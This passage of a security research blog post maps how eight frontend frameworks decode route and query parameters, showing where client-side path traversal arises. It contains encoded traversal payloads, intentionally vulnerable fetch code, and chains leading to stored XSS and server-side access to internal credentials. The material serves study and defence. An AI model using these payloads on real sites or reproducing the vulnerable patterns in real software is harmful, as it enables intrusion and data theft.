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How I mapped the decoding pipelines of 8 frontend frameworks and found that every single one gives attackers traversal primitives

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Client Side Path Traversal (CSPT) is my favorite gadget. It's a client-side attack primitive that lets you bypass frontend route guards and control the location of the api call. It is a great primitive for CSRF. When chained with open redirect or a file upload bug, it can easily lead to XSS. When it works, it feels like magic.

When I first discovered this bug class, I became obsessed with it. I tested for it everywhere I could, even if I didn't understand the framework or the backend. My testing strategy was to find a path that appeared to be dynamic (like /user/xssdoctor) and add a %2f, %5c, %252f, %255c etc. I would then look at the api calls and see if the encoded slash or backslash was decoded into a path traversal primitive. I would iterate on that with a %2f..%2f or %5c..%5c and so on.

But when it came time to do dynamic analysis and to try to figure out how it really worked, I had trouble. What exactly WAS the CSPT source? How was the dynamic path referenced? Why were the paths SOMETIMES url decoded and other times not?

I got far with this off-the-cuff testing, but I wanted to understand the root cause. So I set out to map the URL decoding pipelines of every major frontend framework. I wanted to see exactly where and how the traversal primitive was being created.

And after spending weeks reading router source code, building lab apps, testing encodings, and cross-referencing GitHub issues across React Router, Next.js, Vue Router, Angular, SvelteKit, Nuxt, Ember, and SolidStart. I can tell you this: the problem is universal, but the exploitation is framework-specific.

Let me walk you through what I found.

Some things to understand

Lets start with the browser. Modern browsers will normalize path traversal payloads. When “https://target.com/path/../second” is entered into the address bar, the browser will resolve the `../` before sending the request to the server. So the request that hits the wire is actually “https://target.com/second”. This is part of the URL specification and it’s not something that frameworks or servers can change. However, URL encoding can be used to bypass this normalization. For example, “https://target.com/path/%2E%2E/second” will be sent to the server as is, and the browser will not resolve the `../` because it’s encoded. Backslash will be normalised to forward slash in the browser. “https://target.com\path” will be normalized to “https://target.com/path” This is NOT the case in query parameters. If you have a URL like “https://target.com/search?q=../admin”, the `../admin` is part of the query string and the browser does not normalize it. It will be sent to the server as “https://target.com/search?q=../admin”. This is an important distinction because it means that path traversal payloads can be used in query parameters without worrying about browser normalization, while in the path itself, you need to use encoding tricks to bypass the normalization.

Now let’s talk about frontend frameworks. In multi-page applications, the url path maps directly to a file on the server. So if you have a URL like “https://target.com/admin”, the server will look for a file called “admin.php” or “admin.html” and serve it. In single-page applications (SPAs) built with frontend frameworks, the url path is handled by the frontend router. The router takes the URL from the browser, extracts route parameters, and hands them to developer code.

The backend of these frameworks is often an API. The frontend makes fetch requests to the api and populates the page with the response. The frontend router is responsible for taking the URL, extracting parameters, and then those parameters are often used in API calls. If the router decodes the URL in a way that creates a traversal primitive, then that primitive can be used in the API call.

Client side path traversal occurs when the frontend router uses an element of the path directly and passes it into the fetch request. The question is: when does decoding happen, what gets decoded, and does it ever get re-encoded?

The Sources that we have to focus on are the path itself (/path), the query parameters (/?q=search), and the hash fragment (#section). Each of these can be decoded differently by the framework, and each has different implications for path traversal.

The “sink” is the api request, usually a fetch call. When a path traversal payload is passed into a fetch on the client side, it leads to client side path traversal. When a path traversal payload is passed into a fetch on the server side, it can lead to an even more dangerous scenario of secondary path traversal, potentially allowing access to internal resources.

Encoded path traversal payloads may be normalized on the front or the backend. For example, sending “/path/..%2Fadmin” may be decoded to “/path/../admin” by the frontend router, and then the browser will normalize it to “/admin” before sending the request. Alternatively, the frontend router might pass the encoded value through to the backend, which then decodes it and normalizes it. The exact behavior depends on the framework’s URL decoding pipeline.

So I built lab apps, compiled them, read the minified output, traced the decoding functions, and tested every encoding variant I could think of. Here’s the framework-by-framework breakdown.

> Labs available here: https://github.com/xssdoctor/cspt_research

Paths

Lets start with the path itself. Specifically, lets think about how these frameworks handle dynamic path segments, like `/users/:userId`. When you navigate to `/users/..%2Fadmin`, does `userId` become `../admin`? Does it stay as `..%2Fadmin`? Does it become something else entirely?

Frontend Routers

React, vue, angular, ember, and solid are primarily front-end frameworks, so their routers run in the browser. Each use unique pipelines to parse these dynamic paths and allow the developer to reference them later.

React

React Router has the most well-documented decoding pipeline. Paths are handled through the useParams() Function on the client side. Here is the pipeline:

```
Browser URL (percent-encoded)

decodePath()  -- per-segment decodeURIComponent, then re-encodes / back to %2F

compilePath() -- builds regex for route matching

matchPath()   -- extracts param values

useParams()   -- returns fully decoded params
```

`decodePath()` at line 863 is explicitly an anti-CSPT defense. It decodes each segment, then re-encodes any slashes that appeared. This prevents `%2F` from creating new path segments during route matching.

Then `matchPath()` at line 811 undoes it:

```
memo[paramName] = (value || "").replace(/%2F/g, "/");
```

So `/users/%2E%2E%2F%2E%2E%2Fadmin` would result in `"../../admin"`. In other words, when the developer requests the dynamic path, that path is already url decoded with slashes intact. If they interpolate that into a fetch URL, the traversal lands:

```
const { userId } = useParams();
fetch(`/api/users/${userId}/profile`);
// Browser sends: GET /admin/profile
```

React Router also had a documented double-decode bug (Issue #10814). The pipeline ran two separate decode stages, `safelyDecodeURI` in `matchRoutes()` then `safelyDecodeURIComponent` in `matchPath()`. So `%252F` would decode to `%2F` in the first stage, then to `/` in the second. Double-encoding bypass, built into the framework's architecture.

They fixed it, sort of. Standardized on `safelyDecodeURIComponent` throughout. But the current pipeline *still* double-decodes through a different mechanism: `decodePath()` runs `decodeURIComponent("%252F")` producing `"%2F"`, then line 811's `.replace(/%2F/g, "/")` converts that to `/`. Instead of two calls to `decodeURIComponent` we now have decode plus string replace. Same outcome: `%252F` becomes `/` in your params. The fundamental design hasn't changed. Params are fully decoded before your code sees them, because developers expect `useParams()` to return human-readable strings, not URL-encoded gibberish.

| URL Encoding | `useParams()` Value | Exploitable? | | `hello%2Fworld` | `hello/world` | YES, slash injected | | | `%2E%2E%2Fapi%2Fadmin` | `../api/admin` | YES, full traversal | | | `hello%252Fworld` | `hello/world` | YES, double decode | | | `hello%00world` | `hello\0world` | YES, null byte passes through | | | `%C0%AF` (overlong UTF-8 `/`) | Route fails to match | NO, `decodeURIComponent` rejects invalid UTF-8 | | | `admin` (fullwidth Unicode) | `admin` | NO, no NFKC normalization | |

The overlong UTF-8 and Unicode homoglyph bypasses don't work. `decodeURIComponent` is strict about UTF-8 validity, and React Router does zero Unicode normalization. But standard percent-encoding, double-encoding, mixed literal-plus-encoded, and null bytes all work fine.

Splat routes (`path="files/*"`) are the most dangerous variant: `params["*"]` captures across `/` boundaries with a `(.*)` regex instead of the `([^\/]+)` used for named params. So `../../admin` works with NO encoding tricks at all. The browser will still normalize the URL and resolve the `../`, but the traversal primitive is right there in the param value.

Angular

Angular's URL processing uses `SEGMENT_RE = /^[^\/()?;#]+/` to match path segments. This regex treats `%2F` as three characters (`%` , `2` , `F`), none of which are in the exclusion set, so `%2F` stays in a single segment during route matching.

But then `decode()` runs `decodeURIComponent()` on each segment AFTER the matching stage, BEFORE the value reaches `paramMap`. So developers see fully decoded values:

```
// URL: /users/..%2Fapi%2Fadmin
paramMap.get("userId"); // "../api/admin" (DECODED, slashes are real)
```

I tested this on Angular 21.2.1 in Chrome. URL `/encoding-test/hello%2Fworld` gave `paramMap.get('testParam') = "hello/world"`. URL `/encoding-test/..%2Fapi%2Fadmin` gave `"../api/admin"`.

This makes Angular more exploitable for `%2F`-based CSPT than React Router or Vue Router for regular dynamic params. In those frameworks, `%2F` can sometimes break route matching and return a 404. In Angular, the route matches AND the developer gets the decoded slash. The param flows straight through to `HttpClient`:

```
ngOnInit() {
  this.route.paramMap.pipe(
    switchMap(params => {
      const userId = params.get('userId');  // "../../admin" (decoded)
      const url = `/api/users/${userId}/profile`;
      return this.http.get(url);
    })
  ).subscribe(data => this.user = data);
}
```

Angular also has a non-obvious encoding behavior in `router.navigate()` that creates a differential between direct URL visits and programmatic navigation. When you pass a value containing `%` to `router.navigate()`, Angular's `encodeUriSegment()` re-encodes it. `%` becomes `%25`. So `router.navigate(['/path', '..%2Fadmin'])` produces `/path/..%252Fadmin` in the URL bar. The encoding is not idempotent.

This creates a trap. A developer might reason: "I got `../../admin` from `queryParamMap`, I'll pass it to `router.navigate()` to redirect the user." But `router.navigate()` encodes the value as a path segment, turning `../../admin` into `..%2F..%2Fadmin` in the URL. The traversal doesn't happen through navigate. It happens at the `HttpClient` sink, where the decoded query param is interpolated directly into a fetch URL before any re-encoding occurs. But `router.navigate([redirect])` where `redirect` comes from a decoded `queryParamMap` does let an attacker control navigation. That's an open redirect.

The `**` wildcard route deserves a note. Unlike React Router's splat (`*`), Angular's wildcard does not capture sub-paths in a named param. Developers must use `router.url` (which preserves encoding) or manually parse the URL (which usually means calling `decodeURIComponent` themselves). The wildcard is architecturally safer than React's splat for CSPT, but manual URL parsing immediately re-introduces the vulnerability.

Vue

Vue Router v4 is the framework I'd prioritize if I'm hunting for CSPT on a target.

Vue Router maintains two views of every URL, and they have opposite encoding:

```
const route = useRoute();

// URL: /product/..%2f..%2fadmin
route.params.productId; // "../../admin"  (DECODED, slashes are real)
route.path; // "/product/..%2f..%2fadmin"  (ENCODED, raw)
```

This isn't a bug. It's a documented design decision. The Vue Router maintainers confirmed in Issue #2953 that slashes are URL separators and must be encoded, but `%2F` in params arrives decoded because `route.params` runs through `decodeParams()` which applies `decodeURIComponent()`.

There's also a `router.push()` encoding asymmetry that creates confusion. With a string path, the input is passed through `parseURL()` as-is. So `router.push('/users/../../admin')` navigates with literal `../`, and the browser resolves the traversal. But with a params object, Vue auto-encodes via `encodeParams()`. So `router.push({ name: 'user', params: { userId: '../../admin' } })` encodes to `/users/..%2F..%2Fadmin`, which is safe at the navigation level but still decodes back to `../../admin` in `route.params`.

Catch-all routes (`/:pathMatch(.*)*`) return an array, but the split behavior is important. Only literal `/` characters create array splits. If you use `%2F`, it decodes to `/` *inside* a single array element, not as a separator. So `/files/..%2F..%2Fadmin` gives `pathMatch = ["../../admin"]` (one element), while `/files/../../admin` gives `pathMatch = ["..","..","admin"]` (three elements). Either way, `.join('/')` produces the same traversal string.

Ember

Ember's decoding pipeline has a key intermediate step that no other framework uses: `normalizePath()`. Before route matching, every URL segment runs through this function:

```
// route-recognizer.es.js:100
function normalizePath(path) {
  return path.split("/").map(normalizeSegment).join("/");
}

function normalizeSegment(segment) {
  if (segment.length < 3 || segment.indexOf("%") === -1) return segment;
  return decodeURIComponent(segment).replace(/%|\//g, encodeURIComponent);
}
```

This splits on `/`, applies `decodeURIComponent()` to each segment, then re-encodes only `%` and `/` back. So `%2e%2e` (encoded dots) becomes `..` and stays as `..`. But `%2f` (encoded slash) becomes `/` and gets re-encoded back to `%2F`. The normalization preserves dots but neutralizes slashes for the purpose of route matching.

Then comes `findHandler()`, which extracts the matched capture groups. For dynamic `:param` segments, it applies `decodeURIComponent()` again. For star `*param` segments, it skips this final decode. This creates two completely different exploitation profiles:

```
// route-recognizer.es.js:412
for (var j = 0; j < names.length; j++) {
  var capture = captures[currentCapture++];
  if (RouteRecognizer.ENCODE_AND_DECODE_PATH_SEGMENTS && shouldDecodes[j]) {
    params[name] = capture && decodeURIComponent(capture);
  } else {
    params[name] = capture;
  }
}
```

`shouldDecodes[j]` is `true` for dynamic segments, `false` for star segments. Two segment types, two decoding behaviors, in the same function.

For dynamic `:param` routes, here's the trace. URL `/users/..%2fadmin`:

1. normalizePath splits on /: ["", "users", "..%2fadmin"]
2. normalizeSegment("..%2fadmin"):
   decodeURIComponent("..%2fadmin") → "../admin"
   re-encode % and /: "../admin" → "..%2Fadmin"
3. Reassembled: "/users/..%2Fadmin"
4. Regex ([^/]+) matches "..%2Fadmin" (no literal slash)
5. findHandler decodes: decodeURIComponent("..%2Fadmin") → "../admin"
6. params.user_id = "../admin"

The traversal payload is delivered. And `%2e%2e%2f` works identically because `normalizePath` decodes the dots to `..` and the slash gets re-encoded, producing the same `..%2Fadmin` intermediate form.

Double-encoding does NOT work in Ember. Here's why: `%252f` decodes to `%2f` during normalization, but then the `%` in `%2f` gets re-encoded back to `%25` by the `.replace(/%|\//g, encodeURIComponent)` step, producing `%252f` again. The segment is back to its original form. `findHandler` then decodes `%252f` to `%2f` — a literal string, not a slash. The `normalizePath` function's `%` re-encoding actually prevents the double-decode attack that works in React Router. This is an accidental defense: the same re-encoding that preserves slashes also preserves the `%` character, making the normalization idempotent for double-encoded values.

For wildcard `*param` routes, the picture is different. The regex `(.+)` captures everything including literal `/`. So `/docs/../../etc/passwd` matches and `params.doc_path` gets `"../../etc/passwd"` with no encoding tricks needed. But since star segments skip the final `decodeURIComponent`, `%2f` in a wildcard stays encoded in the param value. The effective payload for wildcard routes is literal `../`, not `%2f`.

URL	Dynamic `:param` Value	Star `*param` Value	Traversal?
`..%2f..%2fadmin`	`../../admin`	`..%2F..%2Fadmin`	YES (dynamic), NO (star)
`%2e%2e%2f%2e%2e%2e%2fadmin`	`../../admin`	`..%2F..%2Fadmin`	YES (dynamic), NO (star)
`%252e%252e%252f`	`%2e%2e%2f`	`%2e%2e%2f`	NO (normalizePath re-encodes %)
`../../etc/passwd`	N/A (extra segment, no match)		

`../../etc/passwd` | NO (dynamic), YES (star) | | | `hello%2Fworld` | `hello/world` | `hello%2Fworld` | YES (dynamic), NO (star) | | | `%C0%AF` (overlong UTF-8 `/`) | Error, raw preserved | Error, raw preserved | NO | | | `／` (fullwidth) | `／` (preserved) | `／` (preserved) | NO | |

The overlong UTF-8 and Unicode homoglyph bypasses don't work. `decodeURIComponent` rejects invalid UTF-8, and there's no NFKC normalization anywhere in the pipeline.

SolidStart

SolidStart is the one framework that got this right by accident. Not because the team built anti-CSPT defenses, not because they analyzed the attack surface, but because `@solidjs/router` simply never calls `decodeURIComponent` on route params. The router's `createMatcher()` stores raw URL segments as-is, and that one missing function call makes it the most resistant framework to encoded path traversal I tested.

The `createMatcher()` function in `@solidjs/router` splits `location.pathname` on `/` and stores each segment directly into the params object:

```
// @solidjs/router utils.js:50
return (location) => {
  const locSegments = location.split("/").filter(Boolean);
  for (let i = 0; i < len; i++) {
    const segment = segments[i];
    const dynamic = segment[0] === ":";
    const locSegment = dynamic ? locSegments[i] : locSegments[i].toLowerCase();
    if (dynamic && matchSegment(locSegment, matchFilter(key))) {
      match.params[key] = locSegment; // RAW segment, NO decoding
    }
  }
};
```

Navigate to `/users/..%2f..%2fadmin` and `params.userId` returns `"..%2f..%2fadmin"`. The `%2f` is still `%2f`. The dots are still `%2e%2e` if you encoded them. Nothing has been decoded. If the developer interpolates that into a fetch URL, the browser sends the encoded string to the server, which sees `%2f` not `/`. No traversal.

I verified this in Chrome with a SolidStart lab app. `/encoding-test/hello%2Fworld` gave `params.testParam = "hello%2Fworld"`. `/encoding-test/%2E%2E%2Fapi%2Fadmin` gave `params.testParam = "..%2Fapi%2Fadmin"`. The dots decoded (browsers decode `%2E` in the pathname), but the slashes stayed encoded. That's the critical difference from React Router, where both dots and slashes decode.

There are only two `decodeURI` / `decodeURIComponent` calls in the entire `@solidjs/router` codebase. One is in the `<A>` component for active link CSS class matching. The other is for scroll-to-hash. Neither is in the routing or param extraction pipeline.

Catch-all routes (`[...path]`) are the exception. The catch-all captures remaining segments joined with `/`: `locSegments.slice(-lenDiff).join("/")`. These slashes are real, they came from the URL path itself.

Navigate to `/files/a/b/c` and `params.path = "a/b/c"`. But here's the thing: literal `../` in the URL path gets resolved by the browser before JavaScript sees it. `/files/../../admin` becomes `/admin` in `window.location.pathname`. The route won't even match `/files/*path`. And encoded `../` (`..%2f..%2fadmin`) stays encoded in the joined string, so the catch-all gives you `"..%2f..%2fadmin"` as a single segment, not a traversal.

| URL | `useParams()` Value | In `fetch()` URL | Traversal? | | | `/users/..%2f..%2fadmin` | `..%2f..%2fadmin` | `/api/users/..%2f..%2fadmin` | NO, stays encoded | | | `/users/%2e%2e%2f%2e%2e%2fadmin` | `%2e%2e%2f%2e%2e%2fadmin` | `/api/users/%2e%2e%2f%2e%2e%2fadmin` | NO, stays encoded | | | `/users/..%252f..%252fadmin` | `..%252f..%252fadmin` | `/api/users/..%252f..%252fadmin` | NO, stays encoded | | | `/files/a/b/c` (catch-all) | `a/b/c` | `/api/files/a/b/c` | NO, normal path | | | `/files/..%2f..%2fadmin` (catch-all) | `..%2f..%2fadmin` | `/api/files/..%2f..%2fadmin` | NO, stays encoded | | | `%C0%AF` (overlong UTF-8 `/`) | Raw preserved | Raw preserved | NO | |

This is a fundamentally different encoding posture than every other framework. React Router, Vue Router, Angular, and Ember all decode params before your code sees them. SolidStart doesn't.

Hybrid Cases

Nextjs, Nuxt and SvelteKit are hybrid frameworks that run code on both the client and the server. This creates multiple decoding contexts, which can lead to unexpected vulnerabilities if you're not careful.

Next.js

The first thing to understand about Next.js is that routing starts out on the server. When you navigate to a URL, the server matches it to a page component, runs `getServerSideProps()` if it exists, and sends the rendered HTML to the client. The client then hydrates that HTML and takes over routing for subsequent navigations. This means initial URL parsing and param extraction happens on the server, not in the browser.

Next.js has two separate routing systems: the App Router and the Pages Router. The App Router is the new system that uses React Server Components and file-based routing. The Pages Router is the older system. Both have their own decoding pipelines, but the App Router is where the interesting behavior lives. More on that later.

Next.js App Router has a function called `getParamValue()` (in `next/dist/shared/lib/router/utils/get-dynamic-param.js`) that re-encodes parameters before passing them to page and layout components. If you navigate to `/files/thepath%2fbooya`, a page component gets `thepath%2Fbooya` back. The slash is re-encoded. Traversal is neutralized. On the client side, `useParams()` behaves the same way. Re-encoded, safe.

Nuxt

Nuxt is built on Vue Router, so I expected the client-side behavior to be identical. It is. What makes Nuxt interesting is everything that happens *around* Vue Router: the server-side H3 layer, the island component system, and the split personality between client and server param decoding.

On the client side, Nuxt inherits Vue Router's decoding pipeline exactly. `useRoute().params` values pass through Vue Router's `decodeParams()`, which applies `decodeURIComponent()` to every matched parameter. Navigate to `/users/..%2F..%2Fadmin` and `route.params.id` returns `"../../admin"`. The slashes are real. The dots are real. Everything I described in the Vue Router section applies here without modification.

The server side is a different story. Nuxt's server routes run on H3/Nitro, which has its own param extraction via `radix3`. The critical function is `getRouterParam()`:

```
// h3/dist/index.mjs:252
function getRouterParams(event, opts = {}) {
  let params = event.context.params || {};
  if (opts.decode) {
    params = { ...params };
    for (const key in params) {
      params[key] = decode(params[key]);
    }
  }
  return params;
}
```

`getRouterParam(event, 'id')` does NOT decode by default. The `decode` option must be explicitly passed as `{ decode: true }`. Without it, `%2F` stays as `%2F`. This is genuinely safer than Vue Router's client-side behavior, where decoding is unconditional.

But the safety is opt-out fragile. The moment a developer writes `getRouterParam(event, 'id', { decode: true })`, or manually calls `decodeURIComponent()` on the raw param, the traversal is live. And H3's own documentation shows examples with the decode option enabled.

URL Path Segment	Client `route.params.id`	Server `getRouterParam(event, 'id')`	Server with `{ decode: true }`
`hello%2Fworld`	`hello/world`	`hello%2Fworld`	`hello/world`
`..%2F..%2Fadmin`	`../../admin`	`..%2F..%2Fadmin`	`../../admin`
`..%252F..%252Fadmin`	`..%2F..%2Fadmin`	`..%252F..%252Fadmin`	`..%2F..%2Fadmin`
`%2e%2e%2f%2e%2e%2f`	`../../`	`%2e%2e%2f%2e%2e%2f`	`../../`
`%00null`	`\x00null`	`%00null`	`\x00null`

Catch-all routes (`pages/files/[...slug].vue`) compile to Vue Router's `(.*)` pattern on the client and radix3's `**` wildcard on the server. On the client, catch-all params return an array of decoded segments. `/files/..%2Fbooya/kasha` gives `route.params.slug = ["../booya", "kasha"]`. Joining that array with `/` produces `"../booya/kasha"`. On the server, `event.context.params._` or `event.context.params.path` returns the raw matched path string without decoding.

Svelte

SvelteKit decodes params through a two-stage pipeline, and unlike Next.js, there is no re-encoding before your code sees them. The result is that `%2F` in a URL path becomes a real `/` in your params. This makes SvelteKit exploitable from path params, more like React Router and Vue Router than Next.js.

The decoding chain has two stages:

```
Browser URL (percent-encoded)

decode_pathname() -- splits on %25, applies decodeURI() per segment

Route regex match -- ([^/]+?) for single params, ([^]*) for catch-all

decode_params()   -- applies decodeURIComponent() to each param value

params.userId     -- fully decoded, slashes are real
```

The key is the two-stage decode. `decode_pathname()` uses `decodeURI()`, which does NOT decode `/`, `?`, `#`, `&`, `=`, `+`. So `%2F` stays as `%2F` during route matching. The regex `([^/]+?)` sees three literal characters `%`, `2`, `F`, not a slash. The route matches. Then `decode_params()` runs `decodeURIComponent()`, and `%2F` becomes `/`. By the time the developer's code sees the param, the slash is real.

Navigate to `/users/..%2Fadmin%2Fsecrets`, and `params.userId` returns `"../admin/secrets"`. If the developer interpolates that into a fetch:

```
// +page.ts (universal load function)
export async function load({ params, fetch }) {
  const res = await fetch(`/api/users/${params.userId}/profile`);
  // fetch URL: /api/users/../admin/secrets/profile
  // Browser resolves: GET /api/admin/secrets/profile
  return { user: await res.json() };
}
```

This is true CSPT. The traversal happens at the fetch layer, not on the server. On client-side navigation, the browser's native `fetch()` resolves the `../` before sending the request. On initial page load (SSR), SvelteKit's server-side enhanced fetch resolves it internally. Either way, the traversal lands.

The one area where SvelteKit IS genuinely more secure than React Router is double-encoding. `decode_pathname()` splits on `%25` (encoded `%`) before decoding, which prevents `%252F` from round-tripping to `/`. Here's the trace:

```
Input: %252F
Split on %25: ["", "2F"]
decodeURI("")    ""
decodeURI("2F")    "2F"
Rejoin with %25: "%252F"
decode_params("%252F")    "%2F"  (string literal, NOT a slash)
```

React Router's pipeline converts `%252F` to `/` through its decode-then-replace mechanism. SvelteKit's `%25`-split was introduced specifically to fix a documented double-decode bug (Issue #3069), where `this.parse(url)` decoded the URL first, then `decodeURIComponent()` ran again during param extraction. Fixed in v1.0.0-next.385.

Catch-all routes (`[...path]`) have a unique quirk in SvelteKit: they return a string, not an array. `/files/a/b/c` gives `params.path = "a/b/c"`. Vue Router returns `["a", "b", "c"]`. The string form means no `.join('/')` is needed. Traversal sequences work natively when interpolated into fetch URLs.

Query Parameters

Query parameters are a rich cspt attack surface that often gets overlooked. They don't have the same segment boundary protections as path params, and many frameworks decode them fully before your code sees them. Query params have a bigger attack surface than path params because there's no segment splitting. The entire value arrives as one decoded string. And since query params don't trigger browser path normalization, you can use literal `../` without any encoding at all: `/dashboard/stats?widget=../../attachments/malicious` works just fine. However, encoding may help with waff bypasses or other filters that look for traversal patterns.

React

`useSearchParams()` returns decoded values. The browser handles the decoding before JavaScript sees the value, so `?widget=..%2F..%2Fattachments%2Fmalicious` gives you `widget = "../../attachments/malicious"`. There is no re-encoding, no sanitization, nothing between the decoded value and your code.

Query parameters are actually a bigger attack surface than path params for one reason: there's no segment boundary. With path params, the router splits on `/` first, so your payload has to survive inside a single segment. With query params, there's no splitting at all. The entire value `../../api/internal/users` lands as one decoded string, slashes and all. You don't need any encoding tricks either, because the browser doesn't normalize `../` in query strings the way it does in paths.

Next.js

`useSearchParams()` on the client side returns decoded values. Navigate to `/dashboard/stats?widget=../../attachments/malicious` and `searchParams.get("widget")` returns `"../../attachments/malicious"`. The slashes are real. The dots are real.

This is the one area where Next.js page components ARE vulnerable to client-side CSPT. The path param re-encoding defense only applies to path params accessed through `await params` or `useParams()`. Query params go through the browser's standard `URLSearchParams`, which decodes everything. If a developer reads a query param and interpolates it into a fetch URL, the traversal works exactly the same as in React Router.

Vue

`route.query` is decoded the same way as `route.params`. Navigate to `/dashboard/stats?widget=..%2F..%2Fattachments%2Fmalicious` and `route.query.widget` returns `"../../attachments/malicious"`. The `%2F` has been decoded to a real slash.

angular

Query parameters are an even bigger CSPT surface in Angular than path params. The router decodes them via `decodeQuery()`, which replaces `+` with `%20` then calls `decodeURIComponent`. Query values are matched by `/^[^&#]+/`. They stop at `&` or `#` but NOT at `/`. So `?path=../../admin` flows through without any segment splitting to worry about.

This is significant because path params at least have the segment-matching stage as a gate. Angular splits on literal `/` first, so your payload has to survive inside a single segment. Query params have no such constraint. The entire value `../../api/internal/users` lands in `queryParamMap.get('path')` as one decoded string, slashes and all.

Svelte

`url.searchParams` in SvelteKit load functions is standard `URLSearchParams`, which means it decodes everything. `?widget=..%2Fattachments%2Fmalicious` gives you `"../attachments/malicious"`. The `%2F` has been decoded to a real slash.

On the client side, `$page.url.searchParams.get('widget')` behaves the same way. Decoded. Slashes are real. No segment boundary constraints. And since query params don't trigger browser path normalization, literal `../` works without encoding.

Nuxt

`useRoute().query` on the client side is decoded by Vue Router's `parseQuery()`. Navigate to `/dashboard/stats?widget=..%2F..%2Fattachments%2Fmalicious` and `route.query.widget` returns `"../../attachments/malicious"`. Same as standalone Vue Router. One quirk: `+` is NOT converted to a space. Vue Router treats `+` as a literal character, unlike the standard `URLSearchParams` behavior.

On the server side, H3's `getQuery(event)` uses the `ufo` library, which does decode query values. So `?widget=..%2Fadmin` gives `{ widget: "../admin" }` on both client and server. Query params are decoded everywhere in Nuxt.

Ember

Query parameters in Ember are declared on the route or controller via the `queryParams` property. They arrive in the `model(params)` hook alongside path params. Route-recognizer strips the query string before route matching and parses it separately. The values are decoded by the browser's standard query parsing.

Navigate to `/dashboard/stats?period=../../admin` and `params.period` returns `"../../admin"`. The traversal is in the decoded value. Like every other framework, query params have no segment boundary constraint, so the full traversal string lands as one value.

SolidStart

`useSearchParams()` returns values decoded by the browser's standard `URLSearchParams`, which calls `decodeURIComponent` on every value per spec. Navigate to `/dashboard/stats?source=..%2f..%2fadmin` and `searchParams.source` returns `"../../admin"`. The slashes are real.

This is the primary CSPT vector in SolidStart. Path params are safe because the router doesn't decode them. Query params are decoded because the browser API does it, and the router can't

prevent that. The attack surface shifts entirely from paths to query strings.

Hash

`window.location.hash` is the simplest source. The browser never encodes or decodes the hash fragment. Whatever you put after the `#` is exactly what JavaScript sees. Navigate to `/dashboard/settings#../../admin/users` and `window.location.hash.slice(1)` gives you `"../../admin/users"`. No encoding tricks needed.

```
const apiService = {
  get: (path) => fetch(`/api${path}`).then((r) => r.json()),
};

const hash = window.location.hash.slice(1);
apiService.get(hash);
// fetch("/api../../admin/users")    browser resolves to GET /admin/users
```

The Sink

When we talk about the sink, we're usually talking about `fetch()`, but it could be any function that takes a URL or path and makes a request. The key point is that if the decoded value from the URL gets interpolated directly into a fetch URL, the browser will resolve any `../` sequences before sending the request. This is true for both client-side navigation and server-side rendering contexts. If a path traversal payload reaches client-side fetch, this leads to CSPT, if it reaches server-side fetch, it can lead to secondary-context path traversal.

React

The sink in React Router apps is almost always `fetch()` or a library wrapper around it like Axios. The decoded param gets interpolated into a template literal, and the browser resolves the `../` before sending the request.

The most dangerous combination is when the fetch response flows into `dangerouslySetInnerHTML`. This turns CSPT into XSS. If the attacker can control what endpoint the fetch hits, and that endpoint returns HTML (like a user-uploaded attachment), then the HTML gets rendered directly into the DOM:

```
const [params] = useSearchParams();
const widget = params.get("widget");
fetch(`/api/widgets/${widget}`)
  .then((r) => r.text())
  .then(setHtml);

// later in JSX:
<div dangerouslySetInnerHTML={{ __html: html }} />;
```

Navigate to `/dashboard/stats?widget=../../attachments/malicious` and the fetch hits `/api/attachments/malicious` instead of `/api/widgets/...`. If that attachment is an HTML file the attacker uploaded, you've got stored XSS through CSPT.

The only safe source in React Router is `useLocation().pathname`, which preserves `%2F` encoding. Everything else decodes.

Next.js

Unlike getParamValue, `await params` has split behavior depending on where you call it. Page components, layout components, and `useParams()` all go through `getParamValue()`, which re-encodes. Route handlers skip that function entirely. In a route handler, `await params` receives decoded values directly from `getRouteMatcher()`, which does `match.split('/').map(decode)`. The framework uses the same API in both contexts but applies completely different encoding behavior under the hood. The same API name, two opposite behaviors.

| Context | `%2F` in URL | What `await params` returns | CSPT? | | | Page server component | `/files/a%2Fb` | `["a%2Fb"]` (re-encoded) | Safe | | | Route handler | `/api/content/a%2Fb` | `["a", "b"]` (decoded to `/`) | **Exploitable** | | | `useParams()` (client) | `/files/a%2Fb` | `"a%2Fb"` (re-encoded) | Safe | |

Why does this matter? Because the common Next.js pattern is a page component that reads params and passes them to a client component, which fetches to a route handler. The page component does nothing wrong. It doesn't decode anything. But the re-encoded `%2F` in the fetch URL gets sent to the route handler, and the route handler's `await params` decodes it automatically before the developer's code ever touches it. The developer never opted into decoding. It's just how route handler param parsing works.

Here's the attack chain:

```
1. Attacker navigates to:
   /cspt-await-params/docs/getting-started/..%2F..%2Finternal%2Fcredentials

2. Page server component reads await params:
   path = ["docs", "getting-started", "..%2F..%2Finternal%2Fcredentials"]
   // Re-encoded. %2F stays %2F, safe at this layer

3. Page joins and passes to client component:
   filePath = "docs/getting-started/..%2F..%2Finternal%2Fcredentials"

4. Client component fetches:
   fetch(`/api/content/${filePath}`)
   // Browser sends: GET /api/content/docs/getting-started/..%2F..%2Finternal%2Fcredentials

5. Route handler reads await params:
   path = ["docs", "getting-started", "..", "..", "internal", "credentials"]
   // DECODED. %2F became / and split into separate array elements

6. Route handler joins:
   path.join("/")    "docs/getting-started/../../internal/credentials"
   // Path traversal is now live
```

This is not client side path traversal. This is secondary context path traversal. The encoded path is sent to the server, which decodes it and passes the decoded value into a backend fetch. This is potentially more impactful because the server often has access to internal resources that the client does not. If the route handler is fetching from an internal API or reading from the filesystem, the traversal primitive could reach sensitive data.

```
// app/api/content/[...path]/route.ts
export async function GET(request, { params }) {
  const { path } = await params;
  // path is ALREADY decoded: ["docs", "getting-started", "..", "..", "internal", "credentials"]
  const fullPath = path.join("/");
  // "docs/getting-started/../../internal/credentials"
  return fetch(`https://backend.internal/${fullPath}`);
}
```

Vue Router

The result is the most exploitable param-to-fetch pipeline of any framework:

```
const route = useRoute();
const { data } = useFetch("/api/products/" + route.params.productId);
// fetch goes to /api/products/../../admin    /api/admin
```

The most dangerous pattern is when the fetched response flows into `v-html`, which is Vue's equivalent of React's `dangerouslySetInnerHTML`. This turns CSPT into XSS:

```
// query param decoded: widget = "../../attachments/malicious"
const url = `/api/widgets/${widget}`;
const res = await fetch(url);
const data = await res.json();
// v-html renders data.body directly into the DOM
```

Navigate to `/dashboard/stats?widget=..%2F..%2Fattachments%2Fmalicious` and the fetch hits `/api/attachments/malicious` instead of `/api/widgets/...`. If the attacker uploaded an HTML file as an attachment, `v-html` renders it and the script executes.

The only safe sources in Vue Router are `route.path` and `route.fullPath`, which preserve `%2F` encoding. Everything else decodes.

Angular

